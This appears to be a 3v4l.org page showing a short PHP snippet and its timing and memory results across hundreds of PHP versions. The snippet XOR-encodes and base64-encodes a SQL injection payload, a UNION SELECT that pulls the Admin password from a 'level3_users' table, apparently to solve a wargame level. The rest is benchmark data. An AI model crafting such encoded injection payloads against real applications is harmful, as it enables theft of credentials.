3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin' union select 1,2,3,4 password from level3_users where username='Admin'#")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01018.50
8.3.50.0110.00522.09
8.3.40.0040.01118.84
8.3.30.0060.00620.37
8.3.20.0000.00720.38
8.3.10.0050.00322.04
8.3.00.0080.00022.19
8.2.180.0150.00016.75
8.2.170.0090.00622.96
8.2.160.0070.00722.12
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0070.01026.16
8.2.120.0080.00019.83
8.2.110.0030.00619.17
8.2.100.0090.00317.97
8.2.90.0030.00619.36
8.2.80.0100.00017.97
8.2.70.0030.00517.63
8.2.60.0030.00618.05
8.2.50.0030.00718.07
8.2.40.0000.00818.16
8.2.30.0000.01118.22
8.2.20.0000.00817.77
8.2.10.0030.00617.66
8.2.00.0080.00417.81
8.1.280.0140.00725.92
8.1.270.0070.00024.66
8.1.260.0030.00526.35
8.1.250.0050.00328.09
8.1.240.0000.01021.37
8.1.230.0040.00717.51
8.1.220.0060.00317.74
8.1.210.0060.00318.77
8.1.200.0070.00317.35
8.1.190.0000.00817.23
8.1.180.0050.00319.01
8.1.170.0040.00418.48
8.1.160.0000.00720.98
8.1.150.0030.00618.53
8.1.140.0040.00417.30
8.1.130.0000.00717.91
8.1.120.0050.00317.42
8.1.110.0040.00417.37
8.1.100.0080.00017.46
8.1.90.0050.00217.32
8.1.80.0070.00017.34
8.1.70.0040.00417.39
8.1.60.0040.00417.52
8.1.50.0050.00317.60
8.1.40.0000.00817.58
8.1.30.0040.00417.64
8.1.20.0040.00417.66
8.1.10.0030.00517.55
8.1.00.0000.01117.52
8.0.300.0070.00018.77
8.0.290.0070.00016.63
8.0.280.0040.00418.36
8.0.270.0030.00317.36
8.0.260.0040.00416.75
8.0.250.0030.00317.00
8.0.240.0000.00816.88
8.0.230.0030.00316.97
8.0.220.0030.00616.98
8.0.210.0050.00216.93
8.0.200.0000.00616.97
8.0.190.0060.00317.05
8.0.180.0050.00316.84
8.0.170.0060.00316.89
8.0.160.0040.00416.93
8.0.150.0000.00716.85
8.0.140.0000.00716.80
8.0.130.0060.00013.37
8.0.120.0080.00016.77
8.0.110.0040.00416.92
8.0.100.0000.00816.88
8.0.90.0040.00416.84
8.0.80.0110.00716.91
8.0.70.0050.00216.91
8.0.60.0050.00216.79
8.0.50.0050.00316.75
8.0.30.0140.00517.17
8.0.20.0110.00717.40
8.0.10.0040.00416.89
8.0.00.0110.00816.82
7.4.330.0030.00315.00
7.4.320.0070.00016.45
7.4.300.0000.00716.55
7.4.290.0030.00316.65
7.4.280.0000.00716.45
7.4.270.0070.00016.57
7.4.260.0050.00013.36
7.4.250.0000.00716.50
7.4.240.0020.00616.52
7.4.230.0030.00316.56
7.4.220.0130.00716.54
7.4.210.0070.00816.64
7.4.200.0070.00016.31
7.4.190.0080.00016.68
7.4.160.0040.01216.50
7.4.150.0100.01017.40
7.4.140.0140.00917.86
7.4.130.0110.00916.48
7.4.120.0080.01016.48
7.4.110.0070.01016.43
7.4.100.0080.00816.46
7.4.90.0130.00316.70
7.4.80.0090.00919.39
7.4.70.0140.01016.41
7.4.60.0030.01516.51
7.4.50.0090.00016.46
7.4.40.0110.00722.77
7.4.30.0070.01316.38
7.4.10.0120.00614.79
7.4.00.0100.00714.93
7.3.330.0030.00313.41
7.3.320.0050.00013.25
7.3.310.0000.00716.30
7.3.300.0000.00716.45
7.3.290.0080.00516.45
7.3.280.0110.00416.40
7.3.270.0030.01317.40
7.3.260.0160.00016.48
7.3.250.0080.00916.41
7.3.240.0040.01916.61
7.3.230.0120.00916.40
7.3.210.0060.01016.52
7.3.200.0090.01119.39
7.3.190.0120.01016.41
7.3.180.0080.00816.64
7.3.170.0120.00316.50
7.3.160.0100.00616.42
7.3.130.0100.00614.59
7.3.120.0060.01014.83
7.3.110.0110.00615.04
7.3.100.0110.00515.01
7.3.90.0030.01114.84
7.3.80.0060.00714.86
7.3.70.0070.00714.85
7.3.60.0030.00814.91
7.3.50.0030.00614.87
7.3.40.0080.00514.82
7.3.30.0080.00814.84
7.3.20.0050.00816.68
7.3.10.0050.01116.54
7.3.00.0040.01016.30
7.2.330.0140.00316.79
7.2.320.0100.00716.66
7.2.310.0100.01316.66
7.2.300.0040.02016.61
7.2.290.0170.00016.71
7.2.260.0030.00915.24
7.2.250.0100.00815.21
7.2.240.0060.01215.12
7.2.230.0020.01314.76
7.2.220.0060.00815.16
7.2.210.0020.01215.12
7.2.200.0060.00915.11
7.2.190.0060.00914.93
7.2.180.0070.00714.95
7.2.170.0100.00315.01
7.2.160.0000.01115.21
7.2.150.0060.01216.99
7.2.140.0120.00617.03
7.2.130.0110.00416.64
7.2.120.0100.00617.03
7.2.110.0060.00317.01
7.2.100.0130.00316.97
7.2.90.0130.00316.73
7.2.80.0090.00016.68
7.2.70.0130.00616.88
7.2.60.0030.01017.04
7.2.50.0000.01317.05
7.2.40.0040.00716.57
7.2.30.0080.00616.97
7.2.20.0040.00416.71
7.2.10.0100.00616.96
7.2.00.0020.01018.30
7.1.330.0060.00915.84
7.1.320.0050.00915.74
7.1.310.0030.00915.81
7.1.300.0100.00215.81
7.1.290.0030.00815.76
7.1.280.0020.01415.82
7.1.270.0020.01015.92
7.1.260.0030.01215.79
7.1.250.0040.00415.88
7.1.240.0060.00915.91
7.1.230.0060.00615.56
7.1.220.0040.00415.54
7.1.210.0110.00415.88
7.1.200.0070.00715.89
7.1.190.0040.01415.84
7.1.180.0120.00315.95
7.1.170.0030.00815.95
7.1.160.0090.00515.68
7.1.150.0030.01015.46
7.1.140.0110.00415.86
7.1.130.0030.00915.79
7.1.120.0060.00915.88
7.1.110.0140.00015.81
7.1.100.0030.01016.87
7.1.90.0040.00815.95
7.1.80.0000.00915.81
7.1.70.0020.00916.48
7.1.60.0100.00717.62
7.1.50.0030.01116.51
7.1.40.0060.00315.68
7.1.30.0000.00815.75
7.1.20.0000.00915.77
7.1.10.0000.01315.88
7.1.00.0080.03019.02
7.0.330.0030.00715.47
7.0.320.0030.01015.25
7.0.310.0030.01115.61
7.0.300.0000.01115.29
7.0.290.0030.01015.46
7.0.280.0070.01115.58
7.0.270.0060.00615.38
7.0.260.0000.01215.51
7.0.250.0080.00615.46
7.0.240.0000.00915.29
7.0.230.0070.00715.47
7.0.220.0040.00715.25
7.0.210.0030.00915.38
7.0.200.0030.00516.00
7.0.190.0030.00915.24
7.0.180.0050.00315.47
7.0.170.0040.00415.26
7.0.160.0060.00915.43
7.0.150.0060.00615.49
7.0.140.0080.03518.62
7.0.130.0030.00915.28
7.0.120.0080.00515.61
7.0.110.0040.00815.59
7.0.100.0000.00815.12
7.0.90.0030.01015.32
7.0.80.0000.01415.28
7.0.70.0040.00815.45
7.0.60.0080.02517.80
7.0.50.0060.03616.75
7.0.40.0100.03516.79
7.0.30.0190.03816.85
7.0.20.0200.04216.76
7.0.10.0160.03616.71
7.0.00.0100.04316.86
5.6.400.0030.00914.47
5.6.390.0060.00614.46
5.6.380.0000.01414.40
5.6.370.0030.01014.54
5.6.360.0080.00014.58
5.6.350.0000.01014.63
5.6.340.0070.01114.20
5.6.330.0070.00714.42
5.6.320.0080.00414.57
5.6.310.0100.00314.60
5.6.300.0050.00514.43
5.6.290.0060.00614.21
5.6.280.0060.03817.46
5.6.270.0080.00814.22
5.6.260.0060.00614.52
5.6.250.0080.00414.51
5.6.240.0060.00614.55
5.6.230.0000.01414.47
5.6.220.0000.01314.30
5.6.210.0030.04217.72
5.6.200.0070.03416.41
5.6.190.0100.04217.34
5.6.180.0170.04417.55
5.6.170.0180.02517.57
5.6.160.0080.04317.34
5.6.150.0080.04616.26
5.6.140.0030.03116.40
5.6.130.0050.04516.24
5.6.120.0060.02217.89
5.6.110.0120.04217.71
5.6.100.0060.02117.52
5.6.90.0050.03117.68
5.6.80.0120.03917.43
5.6.70.0220.03517.41
5.6.60.0110.00414.18
5.6.50.0080.00313.89
5.6.40.0060.00914.68
5.6.30.0040.00414.34
5.6.20.0130.00314.26
5.6.10.0030.01114.34
5.6.00.0060.00914.30
5.5.380.0030.00714.55
5.5.370.0030.00514.18
5.5.360.0040.00714.19
5.5.350.0070.03817.31
5.5.340.0130.01816.17
5.5.330.0080.02517.33
5.5.320.0170.02717.27
5.5.310.0170.04117.42
5.5.300.0090.02016.15
5.5.290.0030.03116.31
5.5.280.0150.03717.39
5.5.270.0050.04917.66
5.5.260.0050.04017.53
5.5.250.0100.04317.30
5.5.240.0070.04417.23
5.5.230.0060.00614.39
5.5.220.0090.00614.32
5.5.210.0070.00414.47
5.5.200.0130.00014.29
5.5.190.0060.00614.04
5.5.180.0040.00414.16
5.5.170.0060.01014.38
5.5.160.0000.01514.43
5.5.150.0030.00614.48
5.5.140.0140.00014.30
5.5.130.0030.01314.24
5.5.120.0030.00714.17
5.5.110.0030.00514.15
5.5.100.0000.01214.37
5.5.90.0060.00614.10
5.5.80.0040.00714.66
5.5.70.0000.01414.47
5.5.60.0060.00314.00
5.5.50.0040.01114.24
5.5.40.0130.00314.57
5.5.30.0070.00314.62
5.5.20.0000.00914.47
5.5.10.0040.00814.32
5.5.00.0040.00913.97
5.4.450.0100.03315.56
5.4.440.0540.02815.49
5.4.430.0400.02715.51
5.4.420.0550.03615.61
5.4.410.0420.03215.56
5.4.400.0150.03515.22
5.4.390.0200.03115.20
5.4.380.0150.02815.20
5.4.370.0190.02915.11
5.4.360.0150.03115.21
5.4.350.0020.02211.83
5.4.340.0060.01811.83
5.4.330.0060.00611.64
5.4.320.0060.02112.08
5.4.310.0050.02512.07
5.4.300.0090.02012.07
5.4.290.0040.02612.07
5.4.280.0010.02512.02
5.4.270.0070.02012.02
5.4.260.0040.02312.02
5.4.250.0050.02212.02
5.4.240.0110.03515.22
5.4.230.0050.03315.21
5.4.220.0080.02515.20
5.4.210.0050.03515.32
5.4.200.0100.03915.23
5.4.190.0070.03215.31
5.4.180.0080.02715.19
5.4.170.0170.03415.31
5.4.160.0170.03515.36
5.4.150.0100.04815.14
5.4.140.0100.03214.14
5.4.130.0130.02314.09
5.4.120.0070.02914.02
5.4.110.0100.02814.11
5.4.100.0070.03114.13
5.4.90.0170.02714.06
5.4.80.0070.03514.15
5.4.70.0080.03414.11
5.4.60.0070.03214.00
5.4.50.0050.03814.04
5.4.40.0070.03314.05
5.4.30.0090.03613.98
5.4.20.0100.02514.09
5.4.10.0100.02313.98
5.4.00.0070.02713.76
5.3.290.0030.02612.22
5.3.280.0060.02813.16
5.3.270.0080.03213.17
5.3.260.0080.03913.16
5.3.250.0070.03513.16
5.3.240.0130.02513.13
5.3.230.0070.03713.13
5.3.220.0080.02813.11
5.3.210.0070.02813.19
5.3.200.0050.03013.15
5.3.190.0050.03113.03
5.3.180.0060.03513.19
5.3.170.0100.02613.10
5.3.160.0120.02513.17
5.3.150.0100.02513.06
5.3.140.0100.02513.13
5.3.130.0080.02813.08
5.3.120.0080.03613.13
5.3.110.0080.03613.13
5.3.100.0050.03912.88
5.3.90.0080.03012.94
5.3.80.0060.02812.84
5.3.70.0100.03012.88
5.3.60.0100.02612.82
5.3.50.0050.03112.80
5.3.40.0060.02812.84
5.3.30.0060.02612.86
5.3.20.0060.02512.71
5.3.10.0120.03012.65
5.3.00.0070.02712.65
5.2.170.0030.04310.98
5.2.160.0100.05011.22
5.2.150.0100.03711.05
5.2.140.0070.04011.12
5.2.130.0100.03711.20
5.2.120.0100.05011.08
5.2.110.0030.04311.01
5.2.100.0100.05011.19
5.2.90.0070.03711.19
5.2.80.0100.05311.32
5.2.70.0070.04011.08
5.2.60.0070.06011.02
5.2.50.0170.03010.94
5.2.40.0030.04311.09
5.2.30.0170.04711.06
5.2.20.0170.03011.04
5.2.10.0130.05011.09
5.2.00.0100.04310.63
5.1.60.0030.03710.07
5.1.50.0070.0479.99
5.1.40.0070.03310.04
5.1.30.0030.05310.41
5.1.20.0130.03010.54
5.1.10.0130.03010.13
5.1.00.0100.04310.27
5.0.50.0070.0278.63
5.0.40.0030.0278.26
5.0.30.0030.0438.21
5.0.20.0130.0308.16
5.0.10.0070.0238.20
5.0.00.0070.0408.23
4.4.90.0000.0237.31
4.4.80.0030.0207.31
4.4.70.0100.0137.31
4.4.60.0070.0207.31
4.4.50.0030.0207.31
4.4.40.0000.0377.31
4.4.30.0030.0277.31
4.4.20.0030.0207.31
4.4.10.0000.0237.31
4.4.00.0000.0477.31
4.3.110.0000.0307.31
4.3.100.0070.0207.31
4.3.90.0000.0307.31
4.3.80.0000.0407.31
4.3.70.0000.0207.31
4.3.60.0030.0177.31
4.3.50.0100.0137.31
4.3.40.0030.0307.31
4.3.30.0000.0237.31
4.3.20.0000.0277.31
4.3.10.0070.0177.31
4.3.00.0070.0177.00

preferences:
44.51 ms | 401 KiB | 5 Q